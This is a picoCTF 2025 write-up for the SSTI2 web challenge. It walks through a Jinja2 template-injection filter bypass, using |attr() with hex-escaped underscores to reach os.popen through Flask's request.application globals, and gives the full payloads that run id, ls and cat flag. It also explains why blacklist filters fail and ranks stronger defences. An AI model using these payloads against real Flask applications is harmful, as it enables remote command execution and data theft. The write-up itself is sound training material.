SSTI2

Published: April 2, 2025

Description

SSTI2 filters obvious characters, so the simple `cycler` trick no longer works. Pivot to attribute lookups (hex-escaped to bypass the blacklist) and import `os` through Flask's application object.

Submit any blocked payload to confirm the server replaces suspicious words with "Stop trying to break me >:(".

Grab the Flask exploitation gadget from payloadbox or your own notes and plan to hex-encode forbidden characters.

Solution

  1. Step 1Abuse Flask's application globals
    Use the payloadbox gadget to drill into `request.application.__globals__['__builtins__']['__import__']('os')`. Hex-encoding the underscores (`\x5f`) dodges the filter and gives you a reference to the `os` module.
    {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
    Learn more

    Filter bypasses are the core skill tested in SSTI2. Naive SSTI filters typically blacklist keywords like __class__, __mro__, __globals__, import, and os as literal strings. The bypass exploits the fact that Jinja2 supports multiple ways to access the same attribute: dot notation (obj.attr), bracket notation (obj['attr']), and the |attr() filter. If the filter only blocks __globals__ as a literal substring, expressing it as '\x5f\x5fglobals\x5f\x5f' (where \x5f is the hex code for underscore) defeats string matching while Jinja2 interprets it identically.

    The request.application chain is a Flask-specific SSTI gadget. request is always in the Jinja2 context in Flask applications, and request.application gives a reference to the Flask application object. From there, __globals__ provides access to the Flask module's namespace, which includes __builtins__ - Python's built-in functions including __import__. This entire chain avoids the cycler keyword that SSTI2's filter likely blocks.

    The |attr() Jinja2 filter is equivalent to Python's getattr(). Using it instead of dot notation lets you pass dynamic strings (including hex-escaped ones) as attribute names, which string-matching filters cannot block without also blocking legitimate template use. Advanced filters use abstract syntax tree (AST) analysis instead of string matching, which closes this bypass - but AST-based filtering is significantly more complex to implement correctly.

  2. Step 2List the directory
    Swap the command from `id` to `ls` to verify the flag file's presence alongside `app.py` and `requirements.txt`.
    {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
    Learn more

    Running id first is standard practice in CTF web exploitation - it confirms that command execution is working and reveals the effective user (usually www-data or a service account). Only then do you escalate to reading sensitive files, avoiding wasted effort if the first command fails due to a subtle payload mistake.

    ls without arguments lists the current working directory, which for a Flask application is typically the directory containing app.py. Files like flag, flag.txt, or secret.txt in the same directory are common picoCTF patterns. If the flag isn't in the current directory, ls /, ls /home, and find / -name 'flag*' 2>/dev/null are the standard next steps.

    In real penetration tests, post-exploitation reconnaissance follows a similar escalation: confirm execution, identify the user context and OS, map the filesystem for sensitive files (credentials, keys, configuration), check for lateral movement opportunities (network interfaces, accessible services), and document everything for the final report. The skills practiced in CTF web challenges map directly to this professional workflow.

  3. Step 3Print the flag
    Finally, replace the command with `cat flag`. The rendered response includes the picoCTF flag even though the server tried to sanitize the input.
    {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}
    Learn more

    The SSTI2 challenge illustrates a fundamental truth about input validation: blacklists always fail. There are infinitely many ways to express the same operation - different attribute access syntax, encoding variants, alternative gadget chains through different objects - and a filter must block every one of them. Attackers only need to find one that slips through. The secure alternative is a whitelist approach or, better, architectural changes that eliminate the vulnerability class entirely.

    The hierarchy of SSTI defenses from weakest to strongest: (1) string blacklisting (trivially bypassed), (2) regex blacklisting (harder but bypassable), (3) AST-level analysis (blocks most known gadgets but research continues to find new ones), (4) sandboxed template environment (significantly reduces attack surface), (5) eliminate user-controlled template rendering entirely (the only reliable fix). Real-world applications that genuinely need user-defined templates (like Shopify themes or email template editors) typically use custom DSLs with a deliberately limited feature set rather than general-purpose template engines.

    After solving SSTI1 and SSTI2, the natural next step is exploring filter bypasses for other Jinja2 attributes like lipsum, namespace, and joiner global objects, or chaining through MRO (Method Resolution Order) to access base classes. Resources like HackTricks SSTI, PayloadAllTheThings, and the annual SSTI research from PortSwigger Web Security Academy keep pace with evolving bypass techniques.

Flag

picoCTF{sst1_f1lt3r_byp4ss_8b53...}

Any gadget chain that reaches builtins works; the payloadbox example just saves time.

Want more picoCTF 2025 writeups?

Useful tools for Web Exploitation

Related reading

Do these first

What to try next